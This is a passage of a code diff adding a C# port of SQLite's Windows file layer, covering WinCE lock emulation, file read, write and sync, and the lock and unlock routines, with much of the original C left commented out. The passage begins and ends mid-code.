link against that +** API as long as we don't call it when running Win95/98/ME. A call to +** this routine is used to determine if the host is Win95/98/ME or +** WinNT/2K/XP so that we will know whether or not we can safely call +** the LockFileEx() API. +*/ +#if SQLITE_OS_WINCE +//# define isNT() (1) +#else + static bool isNT() + { + //if (sqlite3_os_type == 0) + //{ + // OSVERSIONINFO sInfo; + // sInfo.dwOSVersionInfoSize = sInfo.Length; + // GetVersionEx(&sInfo); + // sqlite3_os_type = sInfo.dwPlatformId == VER_PLATFORM_WIN32_NT ? 2 : 1; + //} + //return sqlite3_os_type == 2; + return Environment.OSVersion.Platform >= PlatformID.Win32NT; + } +#endif // * SQLITE_OS_WINCE */ + + /* +** Convert a UTF-8 string to microsoft unicode (UTF-16?). +** +** Space to hold the returned string is obtained from malloc. +*/ + //static WCHAR *utf8ToUnicode(string zFilename){ + // int nChar; + // WCHAR *zWideFilename; + + // nChar = MultiByteToWideChar(CP_UTF8, 0, zFilename, -1, NULL, 0); + // zWideFilename = malloc( nChar*sizeof(zWideFilename[0]) ); + // if( zWideFilename==0 ){ + // return 0; + // } + // nChar = MultiByteToWideChar(CP_UTF8, 0, zFilename, -1, zWideFilename, nChar); + // if( nChar==0 ){ + // free(zWideFilename); + // zWideFileName = ""; + // } + // return zWideFilename; + //} + + /* + ** Convert microsoft unicode to UTF-8. Space to hold the returned string is + ** obtained from malloc(). + */ + //static char *unicodeToUtf8(const WCHAR *zWideFilename){ + // int nByte; + // char *zFilename; + + // nByte = WideCharToMultiByte(CP_UTF8, 0, zWideFilename, -1, 0, 0, 0, 0); + // zFilename = malloc( nByte ); + // if( zFilename==0 ){ + // return 0; + // } + // nByte = WideCharToMultiByte(CP_UTF8, 0, zWideFilename, -1, zFilename, nByte, + // 0, 0); + // if( nByte == 0 ){ + // free(zFilename); + // zFileName = ""; + // } + // return zFilename; + //} + + /* + ** Convert an ansi string to microsoft unicode, based on the + ** current codepage settings for file apis. + ** + ** Space to hold the returned string is obtained + ** from malloc. + */ + //static WCHAR *mbcsToUnicode(string zFilename){ + // int nByte; + // WCHAR *zMbcsFilename; + // int codepage = AreFileApisANSI() ? CP_ACP : CP_OEMCP; + + // nByte = MultiByteToWideChar(codepage, 0, zFilename, -1, NULL,0)*WCHAR.Length; + // zMbcsFilename = malloc( nByte*sizeof(zMbcsFilename[0]) ); + // if( zMbcsFilename==0 ){ + // return 0; + // } + // nByte = MultiByteToWideChar(codepage, 0, zFilename, -1, zMbcsFilename, nByte); + // if( nByte==0 ){ + // free(zMbcsFilename); + // zMbcsFileName = ""; + // } + // return zMbcsFilename; + //} + + /* + ** Convert microsoft unicode to multibyte character string, based on the + ** user's Ansi codepage. + ** + ** Space to hold the returned string is obtained from + ** malloc(). + */ + //static char *unicodeToMbcs(const WCHAR *zWideFilename){ + // int nByte; + // char *zFilename; + // int codepage = AreFileApisANSI() ? CP_ACP : CP_OEMCP; + + // nByte = WideCharToMultiByte(codepage, 0, zWideFilename, -1, 0, 0, 0, 0); + // zFilename = malloc( nByte ); + // if( zFilename==0 ){ + // return 0; + // } + // nByte = WideCharToMultiByte(codepage, 0, zWideFilename, -1, zFilename, nByte, + // 0, 0); + // if( nByte == 0 ){ + // free(zFilename); + // zFileName = ""; + // } + // return zFilename; + //} + + /* + ** Convert multibyte character string to UTF-8. Space to hold the + ** returned string is obtained from malloc(). + */ + //static char *sqlite3_win32_mbcs_to_utf8(string zFilename){ + // char *zFilenameUtf8; + // WCHAR *zTmpWide; + + // zTmpWide = mbcsToUnicode(zFilename); + // if( zTmpWide==0 ){ + // return 0; + // } + // zFilenameUtf8 = unicodeToUtf8(zTmpWide); + // free(zTmpWide); + // return zFilenameUtf8; + //} + + /* + ** Convert UTF-8 to multibyte character string. Space to hold the + ** returned string is obtained from malloc(). + */ + //static char *utf8ToMbcs(string zFilename){ + // char *zFilenameMbcs; + // WCHAR *zTmpWide; + + // zTmpWide = utf8ToUnicode(zFilename); + // if( zTmpWide==0 ){ + // return 0; + // } + // zFilenameMbcs = unicodeToMbcs(zTmpWide); + // free(zTmpWide); + // return zFilenameMbcs; + //} + +#if SQLITE_OS_WINCE +/************************************************************************* +** This section contains code for WinCE only. +*/ +/* +** WindowsCE does not have a localtime() function. So create a +** substitute. +*/ +//#include +struct tm *__cdecl localtime(const time_t *t) +{ +static struct tm y; +FILETIME uTm, lTm; +SYSTEMTIME pTm; +sqlite3_int64 t64; +t64 = *t; +t64 = (t64 + 11644473600)*10000000; +uTm.dwLowDateTime = t64 & 0xFFFFFFFF; +uTm.dwHighDateTime= t64 >> 32; +FileTimeToLocalFileTime(&uTm,&lTm); +FileTimeToSystemTime(&lTm,&pTm); +y.tm_year = pTm.wYear - 1900; +y.tm_mon = pTm.wMonth - 1; +y.tm_wday = pTm.wDayOfWeek; +y.tm_mday = pTm.wDay; +y.tm_hour = pTm.wHour; +y.tm_min = pTm.wMinute; +y.tm_sec = pTm.wSecond; +return &y; +} + +/* This will never be called, but defined to make the code compile */ +//#define GetTempPathA(a,b) + +//#define LockFile(a,b,c,d,e) winceLockFile(&a, b, c, d, e) +//#define UnlockFile(a,b,c,d,e) winceUnlockFile(&a, b, c, d, e) +//#define LockFileEx(a,b,c,d,e,f) winceLockFileEx(&a, b, c, d, e, f) + +//#define HANDLE_TO_WINFILE(a) (sqlite3_file*)&((char*)a)[-offsetof(sqlite3_file,h)] + +/* +** Acquire a lock on the handle h +*/ +static void winceMutexAcquire(HANDLE h){ +DWORD dwErr; +do { +dwErr = WaitForSingleObject(h, INFINITE); +} while (dwErr != WAIT_OBJECT_0 && dwErr != WAIT_ABANDONED); +} +/* +** Release a lock acquired by winceMutexAcquire() +*/ +//#define winceMutexRelease(h) ReleaseMutex(h) + +/* +** Create the mutex and shared memory used for locking in the file +** descriptor pFile +*/ +static BOOL winceCreateLock(string zFilename, sqlite3_file pFile){ +WCHAR *zTok; +WCHAR *zName = utf8ToUnicode(zFilename); +BOOL bInit = TRUE; + +/* Initialize the local lockdata */ +ZeroMemory(pFile.local, pFile.local).Length; + +/* Replace the backslashes from the filename and lowercase it +** to derive a mutex name. */ +zTok = CharLowerW(zName); +for (;*zTok;zTok++){ +if (*zTok == '\\') *zTok = '_'; +} + +/* Create/open the named mutex */ +pFile.hMutex = CreateMutexW(NULL, FALSE, zName); +if (!pFile.hMutex){ +pFile->lastErrno = (u32)GetLastError(); +free(zName); +return FALSE; +} + +/* Acquire the mutex before continuing */ +winceMutexAcquire(pFile.hMutex); + +/* Since the names of named mutexes, semaphores, file mappings etc are +** case-sensitive, take advantage of that by uppercasing the mutex name +** and using that as the shared filemapping name. +*/ +CharUpperW(zName); +pFile.hShared = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, +PAGE_READWRITE, 0, winceLock.Length, +zName); + +/* Set a flag that indicates we're the first to create the memory so it +** must be zero-initialized */ +if (GetLastError() == ERROR_ALREADY_EXISTS){ +bInit = FALSE; +} + +free(zName); + +/* If we succeeded in making the shared memory handle, map it. */ +if (pFile.hShared){ +pFile.shared = (winceLock*)MapViewOfFile(pFile.hShared, +FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, winceLock).Length; +/* If mapping failed, close the shared memory handle and erase it */ +if (!pFile.shared){ +pFile->lastErrno = (u32)GetLastError(); +CloseHandle(pFile.hShared); +pFile.hShared = NULL; +} +} + +/* If shared memory could not be created, then close the mutex and fail */ +if (pFile.hShared == NULL){ +winceMutexRelease(pFile.hMutex); +CloseHandle(pFile.hMutex); +pFile.hMutex = NULL; +return FALSE; +} + +/* Initialize the shared memory if we're supposed to */ +if (bInit) { +ZeroMemory(pFile.shared, winceLock).Length; +} + +winceMutexRelease(pFile.hMutex); +return TRUE; +} + +/* +** Destroy the part of sqlite3_file that deals with wince locks +*/ +static void winceDestroyLock(sqlite3_file pFile){ +if (pFile.hMutex){ +/* Acquire the mutex */ +winceMutexAcquire(pFile.hMutex); + +/* The following blocks should probably Debug.Assert in debug mode, but they +are to cleanup in case any locks remained open */ +if (pFile.local.nReaders){ +pFile.shared.nReaders --; +} +if (pFile.local.bReserved){ +pFile.shared.bReserved = FALSE; +} +if (pFile.local.bPending){ +pFile.shared.bPending = FALSE; +} +if (pFile.local.bExclusive){ +pFile.shared.bExclusive = FALSE; +} + +/* De-reference and close our copy of the shared memory handle */ +UnmapViewOfFile(pFile.shared); +CloseHandle(pFile.hShared); + +/* Done with the mutex */ +winceMutexRelease(pFile.hMutex); +CloseHandle(pFile.hMutex); +pFile.hMutex = NULL; +} +} + +/* +** An implementation of the LockFile() API of windows for wince +*/ +static BOOL winceLockFile( +HANDLE phFile, +DWORD dwFileOffsetLow, +DWORD dwFileOffsetHigh, +DWORD nNumberOfBytesToLockLow, +DWORD nNumberOfBytesToLockHigh +){ +sqlite3_file pFile = HANDLE_TO_WINFILE(phFile); +BOOL bReturn = FALSE; + +if (!pFile.hMutex) return TRUE; +winceMutexAcquire(pFile.hMutex); + +/* Wanting an exclusive lock? */ +if (dwFileOffsetLow == SHARED_FIRST +&& nNumberOfBytesToLockLow == SHARED_SIZE){ +if (pFile.shared.nReaders == 0 && pFile.shared.bExclusive == 0){ +pFile.shared.bExclusive = TRUE; +pFile.local.bExclusive = TRUE; +bReturn = TRUE; +} +} + +/* Want a read-only lock? */ +else if (dwFileOffsetLow == SHARED_FIRST && +nNumberOfBytesToLockLow == 1){ +if (pFile.shared.bExclusive == 0){ +pFile.local.nReaders ++; +if (pFile.local.nReaders == 1){ +pFile.shared.nReaders ++; +} +bReturn = TRUE; +} +} + +/* Want a pending lock? */ +else if (dwFileOffsetLow == PENDING_BYTE && nNumberOfBytesToLockLow == 1){ +/* If no pending lock has been acquired, then acquire it */ +if (pFile.shared.bPending == 0) { +pFile.shared.bPending = TRUE; +pFile.local.bPending = TRUE; +bReturn = TRUE; +} +} +/* Want a reserved lock? */ +else if (dwFileOffsetLow == RESERVED_BYTE && nNumberOfBytesToLockLow == 1){ +if (pFile.shared.bReserved == 0) { +pFile.shared.bReserved = TRUE; +pFile.local.bReserved = TRUE; +bReturn = TRUE; +} +} + +winceMutexRelease(pFile.hMutex); +return bReturn; +} + +/* +** An implementation of the UnlockFile API of windows for wince +*/ +static BOOL winceUnlockFile( +HANDLE phFile, +DWORD dwFileOffsetLow, +DWORD dwFileOffsetHigh, +DWORD nNumberOfBytesToUnlockLow, +DWORD nNumberOfBytesToUnlockHigh +){ +sqlite3_file pFile = HANDLE_TO_WINFILE(phFile); +BOOL bReturn = FALSE; + +if (!pFile.hMutex) return TRUE; +winceMutexAcquire(pFile.hMutex); + +/* Releasing a reader lock or an exclusive lock */ +if (dwFileOffsetLow >= SHARED_FIRST && +dwFileOffsetLow < SHARED_FIRST + SHARED_SIZE){ +/* Did we have an exclusive lock? */ +if (pFile.local.bExclusive){ +pFile.local.bExclusive = FALSE; +pFile.shared.bExclusive = FALSE; +bReturn = TRUE; +} + +/* Did we just have a reader lock? */ +else if (pFile.local.nReaders){ +pFile.local.nReaders --; +if (pFile.local.nReaders == 0) +{ +pFile.shared.nReaders --; +} +bReturn = TRUE; +} +} + +/* Releasing a pending lock */ +else if (dwFileOffsetLow == PENDING_BYTE && nNumberOfBytesToUnlockLow == 1){ +if (pFile.local.bPending){ +pFile.local.bPending = FALSE; +pFile.shared.bPending = FALSE; +bReturn = TRUE; +} +} +/* Releasing a reserved lock */ +else if (dwFileOffsetLow == RESERVED_BYTE && nNumberOfBytesToUnlockLow == 1){ +if (pFile.local.bReserved) { +pFile.local.bReserved = FALSE; +pFile.shared.bReserved = FALSE; +bReturn = TRUE; +} +} + +winceMutexRelease(pFile.hMutex); +return bReturn; +} + +/* +** An implementation of the LockFileEx() API of windows for wince +*/ +static BOOL winceLockFileEx( +HANDLE phFile, +DWORD dwFlags, +DWORD dwReserved, +DWORD nNumberOfBytesToLockLow, +DWORD nNumberOfBytesToLockHigh, +LPOVERLAPPED lpOverlapped +){ +/* If the caller wants a shared read lock, forward this call +** to winceLockFile */ +if (lpOverlapped.Offset == SHARED_FIRST && +dwFlags == 1 && +nNumberOfBytesToLockLow == SHARED_SIZE){ +return winceLockFile(phFile, SHARED_FIRST, 0, 1, 0); +} +return FALSE; +} +/* +** End of the special code for wince +*****************************************************************************/ +#endif // * SQLITE_OS_WINCE */ + + /***************************************************************************** +** The next group of routines implement the I/O methods specified +** by the sqlite3_io_methods object. +******************************************************************************/ + + /* + ** Close a file. + ** + ** It is reported that an attempt to close a handle might sometimes + ** fail. This is a very unreasonable result, but windows is notorious + ** for being unreasonable so I do not doubt that it might happen. If + ** the close fails, we pause for 100 milliseconds and try again. As + ** many as MX_CLOSE_ATTEMPT attempts to close the handle are made before + ** giving up and returning an error. + */ + public static int MX_CLOSE_ATTEMPT = 3; + static int winClose( sqlite3_file id ) + { + bool rc; + int cnt = 0; + sqlite3_file pFile = (sqlite3_file)id; + + Debug.Assert( id != null ); +#if SQLITE_DEBUG + OSTRACE3( "CLOSE %d (%s)\n", pFile.fs.GetHashCode(), pFile.fs.Name ); +#endif + do + { + pFile.fs.Close(); + rc = true; + // rc = CloseHandle(pFile.h); + // if (!rc && ++cnt < MX_CLOSE_ATTEMPT) Thread.Sleep(100); //, 1) ); + } while ( !rc && ++cnt < MX_CLOSE_ATTEMPT ); //, 1) ); +#if SQLITE_OS_WINCE +//#define WINCE_DELETION_ATTEMPTS 3 +winceDestroyLock(pFile); +if( pFile.zDeleteOnClose ){ +int cnt = 0; +while( +DeleteFileW(pFile.zDeleteOnClose)==0 +&& GetFileAttributesW(pFile.zDeleteOnClose)!=0xffffffff +&& cnt++ < WINCE_DELETION_ATTEMPTS +){ +Sleep(100); /* Wait a little before trying again */ +} +free(pFile.zDeleteOnClose); +} +#endif +#if SQLITE_TEST + OpenCounter( -1 ); +#endif + return rc ? SQLITE_OK : SQLITE_IOERR; + } + + /* + ** Some microsoft compilers lack this definition. + */ +#if !INVALID_SET_FILE_POINTER + const int INVALID_SET_FILE_POINTER = -1; +#endif + + /* +** Read data from a file into a buffer. Return SQLITE_OK if all +** bytes were read successfully and SQLITE_IOERR if anything goes +** wrong. +*/ + static int winRead( + sqlite3_file id, /* File to read from */ + byte[] pBuf, /* Write content into this buffer */ + int amt, /* Number of bytes to read */ + sqlite3_int64 offset /* Begin reading at this offset */ + ) + { + + //LONG upperBits = (LONG)( ( offset >> 32 ) & 0x7fffffff ); + //LONG lowerBits = (LONG)( offset & 0xffffffff ); + long rc; + sqlite3_file pFile = id; + //DWORD error; + long got; + + Debug.Assert( id != null ); +#if SQLITE_TEST + //SimulateIOError(return SQLITE_IOERR_READ); TODO -- How to implement this? +#endif +#if SQLITE_DEBUG + OSTRACE3( "READ %d lock=%d\n", pFile.fs.GetHashCode(), pFile.locktype ); +#endif + if ( !id.fs.CanRead ) return SQLITE_IOERR_READ; + try + { + rc = id.fs.Seek( offset, SeekOrigin.Begin ); // SetFilePointer(pFile.fs.Name, lowerBits, upperBits, FILE_BEGIN); + } + catch ( Exception e ) // if( rc==INVALID_SET_FILE_POINTER && (error=GetLastError())!=NO_ERROR ) + { + pFile.lastErrno = (u32)Marshal.GetLastWin32Error(); + return SQLITE_FULL; + } + + try + { + got = id.fs.Read( pBuf, 0, amt ); // if (!ReadFile(pFile.fs.Name, pBuf, amt, got, 0)) + } + catch ( Exception e ) + { + pFile.lastErrno = (u32)Marshal.GetLastWin32Error(); + return SQLITE_IOERR_READ; + } + if ( got == amt ) + { + return SQLITE_OK; + } + else + { + /* Unread parts of the buffer must be zero-filled */ + Array.Clear( pBuf, (int)got, (int)( amt - got ) ); // memset(&((char*)pBuf)[got], 0, amt - got); + return SQLITE_IOERR_SHORT_READ; + } + } + + /* + ** Write data from a buffer into a file. Return SQLITE_OK on success + ** or some other error code on failure. + */ + static int winWrite( + sqlite3_file id, /* File to write into */ + byte[] pBuf, /* The bytes to be written */ + int amt, /* Number of bytes to write */ + sqlite3_int64 offset /* Offset into the file to begin writing at */ + ) + { + //LONG upperBits = (LONG)( ( offset >> 32 ) & 0x7fffffff ); + //LONG lowerBits = (LONG)( offset & 0xffffffff ); + int rc; + // sqlite3_file pFile = (sqlite3_file*)id; + // DWORD error; + long wrote = 0; + + Debug.Assert( id != null ); +#if SQLITE_TEST + if ( SimulateIOError() ) return SQLITE_IOERR_WRITE; + if ( SimulateDiskfullError() ) return SQLITE_FULL; +#endif +#if SQLITE_DEBUG + OSTRACE3( "WRITE %d lock=%d\n", id.fs.GetHashCode(), id.locktype ); +#endif + // rc = SetFilePointer(pFile.fs.Name, lowerBits, upperBits, FILE_BEGIN); + id.fs.Seek( offset, SeekOrigin.Begin ); + // if( rc==INVALID_SET_FILE_POINTER && GetLastError()!=NO_ERROR ){ + // pFile.lastErrno = (u32)GetLastError(); + // return SQLITE_FULL; + // } + Debug.Assert( amt > 0 ); + wrote = id.fs.Position; + try + { + Debug.Assert( pBuf.Length >= amt ); + id.fs.Write( pBuf, 0, amt ); + rc = 1;// Success + wrote = id.fs.Position - wrote; + } + catch ( IOException e ) + { + return SQLITE_READONLY; + } + // while( + // amt>0 + // && (rc = WriteFile(pFile.fs.Name, pBuf, amt, wrote, 0))!=0 + // && wrote>0 + // ){ + // amt -= wrote; + // pBuf = &((char*)pBuf)[wrote]; + // } + if ( rc == 0 || amt > (int)wrote ) + { + id.lastErrno = (u32)Marshal.GetLastWin32Error(); + return SQLITE_FULL; + } + return SQLITE_OK; + } + + /* + ** Truncate an open file to a specified size + */ + static int winTruncate( sqlite3_file id, sqlite3_int64 nByte ) + { + //LONG upperBits = (LONG)( ( nByte >> 32 ) & 0x7fffffff ); + //LONG lowerBits = (LONG)( nByte & 0xffffffff ); + //DWORD rc; + //winFile* pFile = (winFile*)id; + //DWORD error; + + Debug.Assert( id != null ); +#if SQLITE_DEBUG + OSTRACE3( "TRUNCATE %d %lld\n", id.fs.Name, nByte ); +#endif +#if SQLITE_TEST + //SimulateIOError(return SQLITE_IOERR_TRUNCATE); TODO -- How to implement this? +#endif + //rc = SetFilePointer( pFile->h, lowerBits, &upperBits, FILE_BEGIN ); + //if ( rc == INVALID_SET_FILE_POINTER && ( error = GetLastError() ) != NO_ERROR ) + //{ + // pFile->lastErrno = error; + // return SQLITE_IOERR_TRUNCATE; + //} + ///* SetEndOfFile will fail if nByte is negative */ + //if ( !SetEndOfFile( pFile->h ) ) + //{ + // pFile->lastErrno = GetLastError(); + // return SQLITE_IOERR_TRUNCATE; + //} + try + { + id.fs.SetLength( nByte ); + } + catch ( IOException e ) + { + id.lastErrno = (u32)Marshal.GetLastWin32Error(); + return SQLITE_IOERR_TRUNCATE; + } + return SQLITE_OK; + } + +#if SQLITE_TEST + /* +** Count the number of fullsyncs and normal syncs. This is used to test +** that syncs and fullsyncs are occuring at the right times. +*/ + static int sqlite3_sync_count = 0; + static int sqlite3_fullsync_count = 0; +#endif + + /* +** Make sure all writes to a particular file are committed to disk. +*/ + static int winSync( sqlite3_file id, int flags ) + { +#if !SQLITE_NO_SYNC + sqlite3_file pFile = (sqlite3_file)id; + Debug.Assert( id != null ); +#if SQLITE_DEBUG + OSTRACE3( "SYNC %d lock=%d\n", pFile.fs.GetHashCode(), pFile.locktype ); +#endif +#else +UNUSED_PARAMETER(id); +#endif +#if !SQLITE_TEST +UNUSED_PARAMETER(flags); +#else + if ( ( flags & SQLITE_SYNC_FULL ) != 0 ) + { + sqlite3_fullsync_count++; + } + sqlite3_sync_count++; +#endif + /* If we compiled with the SQLITE_NO_SYNC flag, then syncing is a +** no-op +*/ +#if SQLITE_NO_SYNC +return SQLITE_OK; +#else + pFile.fs.Flush(); + return SQLITE_OK; + //if (FlushFileBuffers(pFile.h) != 0) + //{ + // return SQLITE_OK; + //} + //else + //{ + // pFile->lastErrno = (u32)GetLastError(); + // return SQLITE_IOERR; + //} +#endif + } + + /* + ** Determine the current size of a file in bytes + */ + static int sqlite3_fileSize( sqlite3_file id, ref int pSize ) + { + //DWORD upperBits; + //DWORD lowerBits; + // sqlite3_file pFile = (sqlite3_file)id; + // DWORD error; + Debug.Assert( id != null ); +#if SQLITE_TEST + //SimulateIOError(return SQLITE_IOERR_FSTAT); TODO -- How to implement this? +#endif + //lowerBits = GetFileSize(pFile.fs.Name, upperBits); + //if ( ( lowerBits == INVALID_FILE_SIZE ) + // && ( ( error = GetLastError() ) != NO_ERROR ) ) + //{ + // pFile->lastErrno = error; + // return SQLITE_IOERR_FSTAT; + //} + //pSize = (((sqlite3_int64)upperBits)<<32) + lowerBits; + pSize = id.fs.CanRead ? (int)id.fs.Length : 0; + return SQLITE_OK; + } + + + /* + ** Acquire a reader lock. + ** Different API routines are called depending on whether or not this + ** is Win95 or WinNT. + */ + static int getReadLock( sqlite3_file pFile ) + { + int res = 0; + if ( isNT() ) + { + res = lockingStrategy.SharedLockFile( pFile, SHARED_FIRST, SHARED_SIZE ); + } + /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. + */ +#if !SQLITE_OS_WINCE + //else + //{ + // int lk; + // sqlite3_randomness(lk.Length, lk); + // pFile->sharedLockByte = (u16)((lk & 0x7fffffff)%(SHARED_SIZE - 1)); + // res = pFile.fs.Lock( SHARED_FIRST + pFile.sharedLockByte, 0, 1, 0); +#endif + //} + if ( res == 0 ) + { + pFile.lastErrno = (u32)Marshal.GetLastWin32Error(); + } + return res; + } + + /* + ** Undo a readlock + */ + static int unlockReadLock( sqlite3_file pFile ) + { + int res = 1; + if ( isNT() ) + { + try + { + lockingStrategy.UnlockFile( pFile, SHARED_FIRST, SHARED_SIZE ); // res = UnlockFile(pFilE.h, SHARED_FIRST, 0, SHARED_SIZE, 0); + } + catch ( Exception e ) + { + res = 0; + } + } + /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. + */ +#if !SQLITE_OS_WINCE + else + { + Debugger.Break(); // res = UnlockFile(pFilE.h, SHARED_FIRST + pFilE.sharedLockByte, 0, 1, 0); + } +#endif + if ( res == 0 ) + { + pFile.lastErrno = (u32)Marshal.GetLastWin32Error(); + } + return res; + } + + /* + ** Lock the file with the lock specified by parameter locktype - one + ** of the following: + ** + ** (1) SHARED_LOCK + ** (2) RESERVED_LOCK + ** (3) PENDING_LOCK + ** (4) EXCLUSIVE_LOCK + ** + ** Sometimes when requesting one lock state, additional lock states + ** are inserted in between. The locking might fail on one of the later + ** transitions leaving the lock state different from what it started but + ** still short of its goal. The following chart shows the allowed + ** transitions and the inserted intermediate states: + ** + ** UNLOCKED -> SHARED + ** SHARED -> RESERVED + ** SHARED -> (PENDING) -> EXCLUSIVE + ** RESERVED -> (PENDING) -> EXCLUSIVE + ** PENDING -> EXCLUSIVE + ** + ** This routine will only increase a lock. The winUnlock() routine + ** erases all locks at once and returns us immediately to locking level 0. + ** It is not possible to lower the locking level one step at a time. You + ** must go straight to locking level 0. + */ + static int winLock( sqlite3_file id, int locktype ) + { + int rc = SQLITE_OK; /* Return code from subroutines */ + int res = 1; /* Result of a windows lock call */ + int newLocktype; /* Set pFile.locktype to this value before exiting */ + bool gotPendingLock = false;/* True if we acquired a PENDING lock this time */ + sqlite3_file pFile = (sqlite3_file)id; + DWORD error = NO_ERROR; + + Debug.Assert( id != null ); +#if SQLITE_DEBUG + OSTRACE5( "LOCK %d %d was %d(%d)\n", + pFile.fs.GetHashCode(), locktype, pFile.locktype, pFile.sharedLockByte ); +#endif + /* If there is already a lock of this type or more restrictive on the +** OsFile, do nothing. Don't use the end_lock: exit path, as +** sqlite3OsEnterMutex() hasn't been called yet. +*/ + if ( pFile.locktype >= locktype ) + { + return SQLITE_OK; + } + + /* Make sure the locking sequence is correct + */ + Debug.Assert( pFile.locktype != NO_LOCK || locktype == SHARED_LOCK ); + Debug.Assert( locktype != PENDING_LOCK ); + Debug.Assert( locktype != RESERVED_LOCK || pFile.locktype == SHARED_LOCK ); + + /* Lock the PENDING_LOCK byte if we need to acquire a PENDING lock or + ** a SHARED lock. If we are acquiring a SHARED lock, the acquisition of + ** the PENDING_LOCK byte is temporary. + */ + newLocktype = pFile.locktype; + if ( pFile.locktype == NO_LOCK + || ( ( locktype == EXCLUSIVE_LOCK ) + && ( pFile.locktype == RESERVED_LOCK ) ) + ) + { + int cnt = 3; + res = 0; + while ( cnt-- > 0 && res == 0 )//(res = LockFile(pFile.fs.SafeFileHandle.DangerousGetHandle().ToInt32(), PENDING_BYTE, 0, 1, 0)) == 0) + { + try + { + lockingStrategy.LockFile( pFile, PENDING_BYTE, 1 ); + res = 1; + } + catch ( Exception e ) + { + /* Try 3 times to get the pending lock. The pending lock might be + ** held by another reader process who will release it momentarily. + */ +#if SQLITE_DEBUG + OSTRACE2( "could not get a PENDING lock. cnt=%d\n", cnt ); +#endif + Thread.Sleep( 1 ); + } + } + gotPendingLock = ( res != 0 ); + if ( 0 == res ) + { + error = (u32)Marshal.GetLastWin32Error(); + } + } + + /* Acquire a shared lock + */ + if ( locktype == SHARED_LOCK && res != 0 ) + { + Debug.Assert( pFile.locktype == NO_LOCK ); + res = getReadLock( pFile ); + if ( res != 0 ) + { + newLocktype = SHARED_LOCK; + } + else + { + error = (u32)Marshal.GetLastWin32Error(); + } + } + + /* Acquire a RESERVED lock + */ + if ( ( locktype == RESERVED_LOCK ) && res != 0 ) + { + Debug.Assert( pFile.locktype == SHARED_LOCK ); + try + { + lockingStrategy.LockFile( pFile, RESERVED_BYTE, 1 );//res = LockFile(pFile.fs.SafeFileHandle.DangerousGetHandle().ToInt32(), RESERVED_BYTE, 0, 1, 0); + newLocktype = RESERVED_LOCK; + res = 1; + } + catch ( Exception e ) + { + res = 0; + error = (u32)Marshal.GetLastWin32Error(); + } + if ( res != 0 ) + { + newLocktype = RESERVED_LOCK; + } + else + { + error = (u32)Marshal.GetLastWin32Error(); + } + } + + /* Acquire a PENDING lock + */ + if ( locktype == EXCLUSIVE_LOCK && res != 0 ) + { + newLocktype = PENDING_LOCK; + gotPendingLock = false; + } + + /* Acquire an EXCLUSIVE lock + */ + if ( locktype == EXCLUSIVE_LOCK && res != 0 ) + { + Debug.Assert( pFile.locktype >= SHARED_LOCK ); + res = unlockReadLock( pFile ); +#if SQLITE_DEBUG + OSTRACE2( "unreadlock = %d\n", res ); +#endif + //res = LockFile(pFile.fs.SafeFileHandle.DangerousGetHandle().ToInt32(), SHARED_FIRST, 0, SHARED_SIZE, 0); + try + { + lockingStrategy.LockFile( pFile, SHARED_FIRST, SHARED_SIZE ); + newLocktype = EXCLUSIVE_LOCK; + res = 1; + } + catch ( Exception e ) + { + res = 0; + } + if ( res != 0 ) + { + newLocktype = EXCLUSIVE_LOCK; + } + else + { + error = (u32)Marshal.GetLastWin32Error(); +#if SQLITE_DEBUG + OSTRACE2( "error-code = %d\n", error ); +#endif + getReadLock( pFile ); + } + } + + /* If we are holding a PENDING lock that ought to be released, then + ** release it now. + */ + if ( gotPendingLock && locktype == SHARED_LOCK ) + { + lockingStrategy.UnlockFile( pFile, PENDING_BYTE, 1 ); + } + + /* Update the state of the lock has held in the file descriptor then + ** return the appropriate result code. + */ + if ( res != 0 ) + { + rc = SQLITE_OK; + } + else + { +#if SQLITE_DEBUG + OSTRACE4( "LOCK FAILED %d trying for %d but got %d\n", pFile.fs.GetHashCode(), + locktype, newLocktype ); +#endif + pFile.lastErrno = error; + rc = SQLITE_BUSY; + } + pFile.locktype = (u8)newLocktype; + return rc; + } + + /* + ** This routine checks if there is a RESERVED lock held on the specified + ** file by this or any other process. If such a lock is held, return + ** non-zero, otherwise zero. + */ + static int winCheckReservedLock( sqlite3_file id, ref int pResOut ) + { + int rc; + sqlite3_file pFile = (sqlite3_file)id; + Debug.Assert( id != null ); + if ( pFile.locktype >= RESERVED_LOCK ) + { + rc = 1; +#if SQLITE_DEBUG + OSTRACE3( "TEST WR-LOCK %d %d (local)\n", pFile.fs.Name, rc ); +#endif + } + else + { + try + { + lockingStrategy.LockFile( pFile, RESERVED_BYTE, 1 ); + lockingStrategy.UnlockFile( pFile, RESERVED_BYTE, 1 ); + rc = 1; + } + catch ( IOException e ) + { rc = 0; } + rc = 1 - rc; // !rc +#if SQLITE_DEBUG + OSTRACE3( "TEST WR-LOCK %d %d (remote)\n", pFile.fs.GetHashCode(), rc ); +#endif + } + pResOut = rc; + return SQLITE_OK; + } + + /* + ** Lower the locking level on file descriptor id to locktype. locktype + ** must be either NO_LOCK or SHARED_LOCK. + ** + ** If the locking level of the file descriptor is already at or below + ** the requested locking level, this routine is a no-op. + ** + ** It is not possible for this routine to fail if the second argument + ** is NO_LOCK. If the second argument is SHARED_LOCK then this routine + ** might return SQLITE_IOERR; + */ + static int winUnlock( sqlite3_file id, int locktype ) + { + int type; + sqlite3_file pFile = (sqlite3_file)id; + int rc = SQLITE_OK; + Debug.Assert( pFile != null ); + Debug.Assert( locktype <= SHARED_LOCK ); + +#if SQLITE_DEBUG + OSTRACE5( "UNLOCK %d to %d was %d(%d)\n", pFile.fs.GetHashCode(), locktype, + pFile.locktype, pFile.sharedLockByte ); +#endif + type = pFile.locktype; + if ( type >= EXCLUSIVE_LOCK ) + { + lockingStrategy.UnlockFile( pFile, SHARED_FIRST, SHARED_SIZE ); // UnlockFile(pFilE.h, SHARED_FIRST, 0, SHARED_SIZE, 0); + if ( locktype == SHARED_LOCK && getReadLock( pFile ) == 0 ) + { + /* This should never happen. We should always be able to + ** reacquire the read lock */ + rc = SQLITE_IOERR_UNLOCK; + } + } + if ( type >= RESERVED_LOCK ) + { + try + { + lockingStrategy.UnlockFile( pFile, RESERVED_BYTE, 1 );// UnlockFile(pFilE.h, RESERVED_BYTE, 0, 1, 0); + } + catch ( Exception e ) { } + } + if ( locktype == NO_LOCK && type >= SHARED_LOCK ) + { + unlockReadLock( pFile ); + } + if ( type >= PENDING_LOCK ) + { + try + { + 